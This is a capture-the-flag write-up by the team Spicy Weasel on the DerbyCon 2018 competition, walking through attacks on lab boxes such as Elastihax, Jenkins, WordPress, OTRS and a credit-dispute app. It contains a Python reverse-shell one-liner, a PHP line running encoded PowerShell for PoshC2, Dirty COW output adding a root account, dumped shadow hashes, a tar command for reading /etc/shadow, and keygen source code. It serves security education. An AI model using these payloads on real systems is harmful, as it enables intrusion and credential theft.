We have just returned from the always amazing DerbyCon 2018 conference. We competed in the 48 hour Capture the Flag competition under our usual team name of “Spicy Weasel” and are pleased to announce that, for the second year in a row, we finished in first place out of 175 teams and netted another black badge.
We’d like to say a big thank you to the organizers of both the conference and the CTF competition, as well as the other competitors who truly kept us on our toes for the entire 48 hours!
As in previous years, we’ve written up an analysis of a small number of the challenges we faced.
Previous Write Ups
Here are the write ups from previous years:
Susan
This box took us far too long to get an initial foothold on, but once we gained access the rest came tumbling down quite easily. It was only running two services, as detailed below. Our team spent some time on this box with limited success. It was possible to use the mail service to identify users of the system using the VRFY method to identify
susan as a user on the system, as well as use the system to send email. Some time was given to the mail service to send email internally with no output.
|
|
PORT STATE SERVICE REASON VERSION 22/tcp open tcpwrapped syn-ack ttl 63 25/tcp open smtp syn-ack ttl 63 Postfix smtpd |_smtp-commands: susan-desktop.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, |_ssl-date: TLS randomness does not represent time Device type: general purpose |
Extensive brute forcing of the SSH service was carried out by multiple members of the team over the course of the CTF, with no success.
Susan’s password was eventually recovered, although not through the simple and presumably intended method of brute forcing. We’ll be kind to ourselves and say it was potentially due to network stability issues, since the eventually discovered correct pair of credentials were passed to the server during multiple brute force attempts.
We will come back to Susan later in this post…
Elastihax
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 63 Apache httpd 2.2.12 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-robots.txt: 1 disallowed entry |_/phpinfo.php |_http-server-header: Apache/2.2.12 (Ubuntu) |_http-title: Kibana 3{{dashboard.current.title ? " - "+dashboard.current.ti... 3306/tcp open mysql syn-ack ttl 63 MySQL 5.1.37-1ubuntu5.5 |_mysql-info: ERROR: Script execution failed (use -d to debug) 9200/tcp open http syn-ack ttl 63 Elasticsearch REST API 1.1.1 (name: Mother Earth; Lucene 4.7) |_http-cors: HEAD GET POST PUT DELETE OPTIONS | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (application/json; charset=UTF-8). Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 |
There were a number of easy to grab flags that could be retrieved from this box by using
dirb to identify a few hidden directories. However, the main part of this box was a site running Elasticsearch.
Our team identified a known vulnerability in the version of Elasticsearch API 1.1.1, which allows for remote code execution. The exploit for this is included in the Metasploit framework by default:
The operating system was identified as Ubuntu 9.10, running a version of the Linux kernel vulnerable to a number of kernel level exploits (2.6.31-14).
Our team decided to utilise Dirty COW, an exploit that adds the account
firefart with root access.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
meterpreter > shell Process 1 created. Channel 1 created. chmod +x /tmp/dc python -c 'import pty; pty.spawn("/bin/sh")' $ cd /tmp cd /tmp $ ./dc ./dc /etc/passwd successfully backed up to /tmp/passwd.bak Please enter the new password: mememe Complete line: firefart:fiipKz2q6jVfc:0:0:pwned:/root:/bin/bash mmap: b77eb000 madvise 0 ptrace 0 Done! Check /etc/passwd to see if the new user was created. You can log in with the username 'firefart' and the password 'mememe'. |
It was then possible to log into the server using the
firefart account:
There were many flags on this box, one of which was the password of the
davekennedy account. Unfortunately, this was one that escaped us due to its discovery in the later part of the CTF and the complexity of the underlying password.
|
|
firefart@elastihax:/# cat /etc/shadow root:$6$f/AkkBsH$zn4maJWXMGRBOt/40TXT6tlFlaqkHCbGcXJcxwj3sYVgJVuUtYvYO8.GjslksQGVV/atXTtrWPj1o5TJU8KlL.:17660:0:99999:7::: david:$6$jBtl01QJ$/kH0kB7GI/.xGgVbXxxqhWOwaMKe2E6gr/ susan:$6$hZ1MH60e$FYWPuIiJVgRjrCuI4LR67qng7N7t9vFfpo9sgIzZ/vBJeGi1zunSP4i0F/TV8kSW6bwhSI/GRcH7xOeVxtWsc0:17652:0:99999:7::: davekennedy:$6$cA4C1CPn$0qms7GssA4K6nr7V/7NymZVjiSEGomB6nfpDKHfMKPEm8222HYPWTJykFgLEFGo.wrGm.as6Rq8HCOAOjKWXz.:17652:0:99999:7::: |
Reviewing the box revealed a number of flags, however of greater use was an SSH key inside the home directory of the user
susan.
Susan Continued
Using the discovered SSH key for the user
susan, it was possible to gain access to the box Susan.
The box was a trove of flags in many locations, as demonstrated above. Other locations included
grub.config and authorised key files. One of the more fun flags was saved in the user’s home directory
Pictures/Wallpapers/Untitled.png, which was retrieved from the box; VNC was running on localhost and we saw a number of people port forwarding through the box but we just downloaded the file.
X64 binaries
There were a number of x86, x64 and arm binaries of varying difficulties. We captured the flag from most of these and have opted to show a run through of the x64 series.
Simple (File name: x64.simple.binary)
As expected from the file name, this challenge was very simple. It was a Mach-O 64-bit binary, and when executed it asked the user for a key to continue.
We could see that the user’s input was passed to the
_AttemptAuthentication() function as an argument. Looking at that function, we could see that its argument was compared (using
strcmp) to
aolOneBar@Bill.io – the flag for this challenge.
It is worth noting that there were a significant number of hardcoded red herrings, trying to divert someone who was just looking for strings within the binary.
Medium (File name: x64.medium.binary)
Once again we had a Mach-O 64-bit binary. Similarly to the previous binary, the user was prompted to enter a key when the binary was executed. This time, it looked like things were a bit more complex than a simple
strcmp():
Looking a bit deeper into the assembly, it would seem that the users input was compared to a reference string (which looked like a mangled email address) in the following fashion:
- Start with the last character of the input string, compare with the first character of the reference string;
- Skip backwards 13 characters in the input string, compare with next character of the reference string;
- Repeat step 2 until you cannot go further back;
- Move the starting point one character back (from last to penultimate), compare with next character of the reference string;
- Repeat from step 2, until all 13 possible non-overlapping starting points have been covered.
Knowing that comparison algorithm, one could reverse it until this challenges flag was identified. However, during the pressure of the CTF we opted for a less elegant but quicker and easier way of solving this challenge.
As with the previous challenge, a large number of red herring flags could be found in the file:
It was a reasonable assumption that one of these red herrings would be the valid flag.
With a few lines of Python, we took the list of red herrings, and computed which one(s) could be written using only the characters from the reference string. As it turned out, only one of them matched that condition:
- microsoftaolmicrosoftaolFredBobNetlive@TED.io
This was the flag for this challenge.
It should be noted that the first character of the user input was not considered when comparing to the reference string. This is why the flag has two
m characters, but the reference string contains only one.
Hard (File name: x64.hard.binary)
For the hardest of the x64 binary challenges, we were given two files. One represented a custom filesystem image, and the other was a tool that could read from and write to the given custom filesystem image. This fictional filesystem took the name of DedotatedWamFS. Here’s a screenshot of the tool’s functionality.
Reading the filesystem image we were given, we found a hint in one of the files:
It would seem that the flag was in a file in the filesystem image, but the user remembered to delete it (since it wasn’t in any of the other files in the filesystem).
Disassembling the binary, we started by identifying the tool’s core functionality:
Looking at the
DELETE sub-routine, we were able to identify that deleted files are marked with a binary flag.
With that in mind, the first thing we needed was the name of the deleted flag file. We looked into the
LIST sub-routine, and identified a code section which would only list the file if it had not been deleted, by checking the flag.
We patched that section of the binary, so that the tool wouldn’t check whether the file was deleted or not.
We had found the deleted file –
flag.txt. We proceeded to look into the
READ sub-routine; once again we identified a simple check to confirm whether the file was deleted or not. We patched that section of the code out and could then read the file.
It looked like the deleted
flag.txt file was encoded or encrypted. We went a bit further disassembling the executable, into a sub-routine we identified as
WRITE.
It seemed like the file was encoded using a rotating XOR single-byte key. Every byte of the file was XOR’ed with a byte key, which is then incremented by
0x07. The original XOR byte key could not be recovered through reverse engineering alone, because it was based on a random value.
However, since it was a single byte, we could simply brute force the 256 possible values. We wrote a few lines of Python for this. The flag file contents we recovered were:
Jenkins
There were two services available: SSH and a web server.
Browsing to the website on port 8080 presented a Jenkins portal that allowed for self-registration.
Jenkins is an open source software written in Java that has a known exploitation path by use of the Script Console. As described on the Jenkins web site: “Jenkins features a nice Groovy script console which allows one to run arbitrary Groovy scripts within the Jenkins master runtime or in the runtime on agents.” While Jenkins now offers protections to limit access from non-administrators, the installed version did not offer those protections.
We registered for an account, which allowed for access to the “Manage Jenkins” features and the Script Console.
We then used one of the reverse shells belonging to pentestmonkey:
It was possible to gain a reverse shell running in the context of the user Jenkins on this system.
From that shell, it was possible to gain a full TTY session by using the
python3 installation on the host. This allowed access to a few of the five flags on this host.
Access to a root shell was gain by breaking out of the less program. Within the
sudoers file, the Jenkins user was defined as having the ability to run the less program against the
syslog file without requiring a password. Once a root shell was obtained, access to the CTF user’s password was gained from the
.bash_history file. This user was defined within the
sudoers file as having all root permissions. That account allowed us to access the SSH service bypassing the Jenkins service and gaining the rest of the flags on the host.
osCommerce
We discovered that default installation pages for the osCommerce application were accessible.
This was particularly interesting as publicly available exploits exist, which can be executed by an unauthenticated user, resulting in code execution on the underlying server.
Our actions were fairly limited because we were executing commands in context of the
www-data user. As such, the next step was to compile, upload and execute a kernel-based privilege escalation exploit (CVE-2016-4557) for more meaningful access.
Executing the exploit provided us with a root shell, and the ability to read files without restriction.
After scooping up most of the file-based flags, the next step was to compromise the MySQL database of the application. We found credentials for the
debian-sys-maint user and used these to log into the MySQL database.
Displaying the contents of the administrators table provided us with access to the final flag on osCommerce.
Quiz System
Based on the directory structure, file names and application name, we were relatively confident that the source code of Quiz System was publicly available at this link:
After downloading the application, we began to search for SQL injection vulnerabilities which would result in access to the underlying system.
The
/admin/ajx-addcategory.php file had a parameter called
catname which was vulnerable to SQL injection attacks.
We created the following requests file and fed this into sqlmap. This resulted in code execution on the underlying server in the context of the
www-data user.
Sqlmap creates an upload file when the
--os-shell flag is used. This was particularity useful as it allowed us to upload a PHP payload which provided us with a shell on the underlying system.
After inspecting the
/etc/passwd file, we identified that there were two users of interest, quiz and root. Both users shared the same password, which we fortuitously guessed to obtain root access and access all file-based flags.
WordPress
Facepalm update: The DerbyCon CTF team got in touch with us and let us know that while the attack path described here is valid, it was not the intended path. Apparently there was a WordPress username –
djohnston- embedded in the HTML comments somewhere, and that user has a password of Password1 for wp-admin. Certain members of our team maintain they attempted this with no success but… *cough* 🙂
This challenged included a WordPress based blog – the EquiHax Blog.
There was an XXE flaw which allowed us to view the contents of
server-status because it was available to localhost. Through that, we found a file named
dir.txt which was accessible under the
wp-admin directory. This file provided a listing of all files in this directory.
Interestingly, the
050416_backup.php file was originally intended to be named
pingtest.php.
The purpose of this file was to feed an IP or domain argument, via the host parameter, into
/bin/ping. As this file executed system commands, we are able to add a semi-colon to end the ping command and issue commands of our choice. Consequently, we spun up a temporary web server and hosted a password-protected web shell. This was then downloaded to the WordPress server by using
wget.
Having a web shell allowed us to execute further commands, as well as upload and download files. We leveraged the existing python3 interpreter on the WordPress box to obtain a reverse TCP shell in context of the
www-data user. After inspecting the groups for this user, we identified that
www-data was part of the sudo groups, which enabled us to easily escalate our privileges to root.
After scooping up most of the file-based flags, the next step was to compromise the applications MySQL database. Credentials for accessing the database were located in the
wp-config.php file. Displaying the contents of the administrators table provided us with access to the final flag on WordPress.
Equihax Chat Server
This server hosted two applications: a dd-wrt firewall on port 80 and a custom chat application on port 443. The information presented by the dd-wrt firewall implied that this host bridged the two networks in scope together.
It also had an RDP service available, even though the dd-wrt application implied it was a Linux box.
It was our assumption that the HTTPS and RDP ports were being reversed proxied from host(s) within the second network, but we ran out of time and could not confirm this.
Returning to the custom application, we had the option of logging in using either IdentETC or IdentLDAP. This seemed like a bit of a hint that the application was able to use the credentials from an enterprise authentication system. It might be connected to something bigger.
We guessed the weak credentials and were able to log in (chat/chat) with the IdentETC method.
Once logged in, we found a simple chat interface where you could post a message and subscribe/unsubscribe from the Public channel.
We then identified an interesting looking session cookie. When you first entered your credentials using the IdentETC method, these are POSTed to the
/Login page. This set a cookie called session and then a redirect to
/Chat was triggered. By examining the session cookie, we could see that it was made up of a number of parts, all delimited by a colon.
We decoded the session cookies value and obtained the following output.
That was interesting; even though we were using the IdentETC method of authentication, it was actually using the IdentLDAP method behind the scenes to log us in.
Remember the RDP that was open? Well, guess which credentials worked on that!
It quickly became apparent that we were not the only people with these credentials as we were being kicked out from our RDP session on a very regular basis. To ensure we maintained access, we dropped C2 and started to enumerate the machine and the domain.
We noticed that the one of the other users to have logged into the device was
scott; it turned out that account was part of the domain admins group.
Further investigation also confirmed that this device was located on a network segment inaccessible from the rest of the network (192.168.252.0/24 instead of 192.168.253.0/24).
It was then possible to use our access to this machine to begin to explore the “internal” network range and to begin attacking the domain. After a while (actually a disappointingly long time) we discovered that
scott was using his username as a password.
We could then use
scott’s credentials and the foothold we’d gained on the chat server to pivot to the domain controller and start hunting for flags. One of the things we did was dump the hashes pulled from the domain controller and feed them into our hash cracking machine.
Within in a few minutes we had retrieved 1,372 passwords. We picked one of the passwords at random and submitted it; 2 points.
We therefore likely had a load of low value flags that needed to be submitted, but being the lazy hackers we are, no one was really in the mood to submit 1,372 flags manually; automation to the rescue! We quickly put together a Python script to submit the flags on our behalf, and got back to hacking while the points slowly trickled in.
Chat Server Continued…
What was completely conspicuous by its absence was any form of integrity checking on the session cookie (this should have been implemented through the use of MAC, utilising some form of strong sever side secret).
We could see that the cookie was the serialized form of a binary object. When the cookie was sent to the server, it was likely deserialized back into a graph of binary objects. The serialized form defines the objects to be instantiated and the values to be copied into them. You can’t send the declaration of an object; only its data. This doesn’t mean it isn’t possible to build a graph that will execute code, though.
A fantastic example of this is Gabriel Lawrence and Chris Frohoff’s
ysoserial tool for Java. To understand this concept further, we can’t recommend their talk “Marshalling Pickle’s” enough:
Ruby on Rails has gadgets for RCE via derserialization via the ActiveSupport, which we tried, but unfortunately this was not a Rails application. Then…
It didn’t appear to be a
User object, though.
Well, it just happened to be assigned in a different location. Once you had logged in the redirect to
/Chat caused a second part of the cookie to be set.
As we can see here, and comparing to the previous session cookie screenshot, the section of the session cookie before the first delimiter had dramatically increased.
The serialized object now contained a
Userid and
indentToken. Doing some research, we found that these classes are part of the SHIPS (https://github.com/trustedsec/SHIPS) toolkit that TrustedSec has put on GitHub.
One of the gems inside this project is called
usa. It contains the definition for IdentLDAP and IndentETC, along with a very interesting definition called IdentETCNoPass. Despite a bit of time spent on authenticating with that object, no shell was forthcoming – time for a break.
The break involved learning as much as possible about Ruby, looking at some of the other challenges and watching the Offspring, who were awesome.
Coming back to this and thinking about the clue earlier, it was time to try and mock a Ruby object, serialize it and see what happened. To do this we needed a Ruby environment and for this we used https://repl.it – essentially an online code test environment.
With Ruby serialization, only the name of the object has to match during deserialization; any matching members will be populated with the values passed through. Here we were able to mock the
User object completely, then serialize it and encode it in Base64. The payload in both the
indentType and
identToken here was a string that should execute the
ping command:
https://stackoverflow.com/questions/6338908/ruby-difference-between-exec-system-and-x-or-backticks
Here is the serialized and encoded form.
And here are the pings coming back after the sending the cookie in:
So where is the flag? Well, unfortunately we only worked this out with 15 minutes of the CTF to go, so despite gaining code execution the flag eluded us. Ah well, it was still a really cool challenge that we had some epic learning from.
OTRS
Having used the Equihax Chat Server to compromise the domain controller and pivot into the internal network, we were faced with some new machines. This was one of them.
In order to find OTRS, we ran various reconnaissance tools post foothold against the internal network of
equihax.com. The first was an ARP scan of the network, as shown below. This identified two additional hosts, 192.168.252.10 & 192.168.252.106:
192.168.252.10 was on the inside of the dd-wrt host, which was later revealed not to be exploitable.
After we compromised both Windows hosts within the internal network, we performed a portscan to find out if any additional ports were open from the domain controller. However, it appeared that all ports were available to both hosts on the network.
It was noted that the more stable host was the DC and as such we deployed a SOCKS proxy server from the domain controller (192.168.252.2). The SOCKS proxy allowed us to build a tunnel through the compromised host and funnel all traffic through to the target environment from our own hosts. This feature allowed us to access a number of resources, including connecting remote desktop (RDP) sessions and internal web sites such as OTRS.
The following screenshot shows the homepage of the OTRS software which was identified using lateral movement techniques from the internal domain controller.
After some additional external reconnaissance, it was identified that this software was used as an aid to helpdesk staff for raising tickets internally. By clicking the link shown below, it moved to a login prompt which was found to have easily guessable credentials of helpdesk/helpdesk.
Once connected to the OTRS software as a standard user, the following ticket information was available.
After looking inside the tickets, the following hint was given:
“Hey Jim I am still working on getting this helpdesk app setup since management insists we actually have to take care of the darn users now.
I know the password I set was Swordfish but I can’t remember what the administrator account name was. Anyway now that this thing is stood up we might as well use it”
Swordfish was both the password for an administrator level account on this software as well as a flag. We had to identify the default account for this host and found this by doing some research on the Internet. This was
root@localhost.
We discovered from conducting research against this software (OTRS 6.0.1) that two publicly disclosed vulnerabilities exist in it. One is abusing the packet manager and uploading a new packet which is vulnerable to code execution, and the other abuses the PGP keys which can also achieve code execution.
Only one of the two appeared to work in this environment (CVE-2017-16921) which affected the PGP keys deployment. More information on these vulnerabilities can be found here:
The essence of the vulnerability was editing the
PGP::Bin file and parameters to execute some other binary; in this example we used a simple Python reverse TCP connection.
The payload used was:
|
|
<em>/usr/bin/python –c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“<YOURIP>”,<YOURLISTENINGPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-I”]);’</em> |
Once we had a foothold on the host, we identified it was running as the
apache user and privilege escalation was required. The usual escalation techniques were attempted and a
SetUID binary that seemed out of place was identified.
Using the foothold, we executed the following commands to extract the hashes:
|
|
tar -cf archive.tar /etc/shadow tar -xvf archive.tar –O |
The
-O flag writes the contents of the archive to the screen. However, this didn’t obtain a flag, or at least not until we were able to crack the
root password which we didn’t complete before the end of the CTF. In doing this it did reveal that the user’s password for OTRS was OTRS.
To obtain a full root shell to access the flag we could have either guessed the location, tar’d the entire root folder, or replaced the
/etc/shadow &
/etc/passwd file to create a new UID 0 user. We got
root access and used PoshC2 for handling our shells, including on this box, as shown below.
There may have been other flags on this host but we ran out of time to find them.
Web Credit Report Dispute Application
This server hosted a custom credit report dispute application. As a pre-authenticated user we were able to create a dispute, but in order to find more of the functionality, we needed to be able to login.
Clicking on the “Create a report” link, we were taken to the “Problem Report form”. As this page was pre-authentication and there was an authenticated section to the application, we immediately started thinking this might be some kind of stored XSS or SQLi. We spent a bit of time fuzzing, which ultimately showed this not to be the case.
Okay then, let’ try and log in.
After a bit of fuzzing on the login form, it turned out that you could log in using the username:password combination of
Admin:”. Interesting; it looked like there was some kind of injection vulnerability on the password field. We decided we’d roll with it for the moment and see if it anything more could be done with it later.
Once we were authenticated, we got to the
/viewreports.php page shown below. It contained all of the reports that had been created. Thanks to fellow CTFers’ prodigious use of Burp Suite Active Scan, there were quite a few reports listed. It was also difficult to understand when one was created – something we later found a solution to.
Clicking on any of the links here took you to the
/viewreport.php page again, this time detailing all the information that the relevant user had submitted.
Locating a report that we had just created was a little on hard side; the actual report created looked like it contained some kind of timestamp. Unfortunately, no ID was returned when you created a report either. The solution is documented a little further down.
The
rpt field was found to have a path traversal vulnerability, but by far the most interesting part of the page was the “I have fixed this!” link. Viewing the source of the page and decoding the URL using the Burp shortcut ctrl+shift+u, we could see that the
rename.php page took two parameters,
old &
new, which just happened to take file paths as values.
Our immediate thought was to inject PHP via the create report page, locate it on the view requests page, move it so it had a PHP extension, navigate to it and BOOM code execution.
If only it was that simple; it was indeed possible to change the file extension to PHP, PHP5 and PHPS, however all the fields in the Report Creation page were being escaped on output, exactly as can be seen here with the first name field:
Okay, so how was it possible to easily spot the page that had just been created?
Well, no Spicy Weasel write-up is complete without the use of LinqPad, our favourite C# scratchpad tool (https://linqpad.net). For those interested in beginning .NET development, this is an excellent tool to experiment with.
The idea was to write a script that would retrieve the listing of the
viewreport.php page, persist the current entries and then on every subsequent run check for any new pages. To persist between runs, a static class with static container members was created. LinqPad can use a new process per run of the script which would destroy our static container. To ensure that the results were persisted between runs, the following settings were created (performed by right clicking the query and selecting properties).
Who said you can’t parse HTML with a regex? 🙂
Checking out the server header, we could see that somewhat unusually for a PHP application, it was hosted on Windows. This suddenly made the
rename.php file a lot more interesting.
What if the page can read and write to UNC paths..?
So yes, it turns out UNC paths could be read. The problem, though, was that IIS was running with no network credentials, and modern SMB is designed to make it as difficult as possible to allow connections by hosts with no credentials.
By deliberately weakening the SMB configuration on a virtual machine, it was possible to successfully have a file read by sending the request in the screenshot above. This allowed the uploading of a PHP file that kicked off a PowerShell Posh C2 (https://github.com/nettitude/PoshC2) one liner, giving us a shell to go searching for the flags.
Once we identified that vulnerability in the application, we hosted a PHP file which executed PowerShell on the remote host using PoshC2.
|
|
<!--?php exec("powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkA……………………"); ?--> |
Once we had C2 on this host, we discovered it was running as the
IUSR, which is a low level IIS application user. We attempted various standard privilege escalation checks against the host and concluded it was a Server 2016 box with no trivial escalation vulnerabilities other than no patches applied. Eternal Blue (MS17-010) could have been an option but this is normally unstable for Server 2016 and was probably not the intended exploit for this host.
After further enumeration of the host we identified two more flags on the system using the command below:
|
|
Get-ChildItem C:\inetpub -Recurse -ErrorAction SilentlyContinue | select-string -pattern "flag" |
This yielded:
- info.php:2:header(‘Flag: TheBruteForceIsStrongInThisOne’);
- viewreports.php:19:header(‘Flag: InjectionHeaders’);
We also found a file inside the
adminscripts folder that had a hint inside suggesting that this was a scheduled task that ran every five minutes. We added an additional line to execute our PowerShell payload:
This allowed us to obtain administrator level privileges on the host with PoshC2, as shown below. We then extracted the hashes of all users and cracked the password for the administrator user, which was a large flag, as well as one from the administrators’ desktop.
It should be noted that all Windows 2016 hosts had Windows Defender enabled, which was blocking malicious PowerShell.
As such we needed to migrate to inject the PoshC2 shellcode, which employs the AMSI bypass released by @mattifestation:
Equihax License Validator (fu3) – Keygen Project
The Equihax licensing server had one objective – download the application and try to reverse engineer the .NET application to create a keygen to submit back to the original site for verification.
We first identified it was a .NET assembly by running the file command on Linux.
We used iLSpy to decompile the binary, but it generated the following error when trying to decompile
validateLicense function.
We then downloaded the latest version of iLSpy (4.0.0.4319-beta2) which successfully decompiled the code back to C#.
The first section of the code took the users first name and MD5 hashed that value. It then took the first eight characters of that substring and used it in the next part of the code. It also had a static string that it used as part of the keygen creation (
Kc5775cK).
By using the algorithm in the above code, we could simply create our own
StringBuilder string and spit it out using LINQPad. There was also some unnecessary code below this, but we didn’t need that to generate the license. Here’s the code for this project and the generated license key.
The full source code is as follows.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
void Main() { string license = "12345678"; string text2 = "Kc5775cK"; string name = "ben"; string text = md5Hash(name).Substring(0, 8); int num = 0; int num2; StringBuilder stringBuilder = new StringBuilder(); for (int i = 0; i < text.Length; num = num2 % 26 + 65, stringBuilder.Append((char)num), i++) { num2 = (text[i] ^ text2[i % text2.Length]); int num3 = 0; goto IL_004b; IL_0064: int num4 = 26; continue; IL_004b: while (true) { switch (num3) { default: num3 = 1; continue; case 1: num3 = 2; continue; case 2: break; } break; } continue; IL_004a: int num5 = 0; goto IL_004b; } string a = stringBuilder.ToString(); "[+] License Key:\n".Dump(); ("Name: " + name).Dump(); ("Key: " + a).Dump(); } public string md5Hash(string input) { string text = ""; using (MD5 mD = MD5.Create()) { byte[] bytes = Encoding.ASCII.GetBytes(input); byte[] array = mD.ComputeHash(bytes); StringBuilder stringBuilder = new StringBuilder(); for (int i = 0; i < array.Length; i++) { stringBuilder.Append(array[i].ToString("x2")); } return stringBuilder.ToString(); } } |
This yielded the flag.
MUD
There was a downright evil box that hosted a MUD, courtesy of @Evil_Mog. With the exception of a couple of simple flags, we were unable to gain any traction here. This tweet says it all…
Conclusion
This year’s DerbyCon was as fun as ever, and we really enjoyed participating in the CTF competition. Hopefully you can find some value in us sharing portions of the competition with you.
We’re always grateful for the opportunity to practise our craft and we recognise the sheer effort required to put on an event like DerbyCon, including the annual DerbyCon CTF. Once we’ve rested up, we’ll be looking forward to next year!
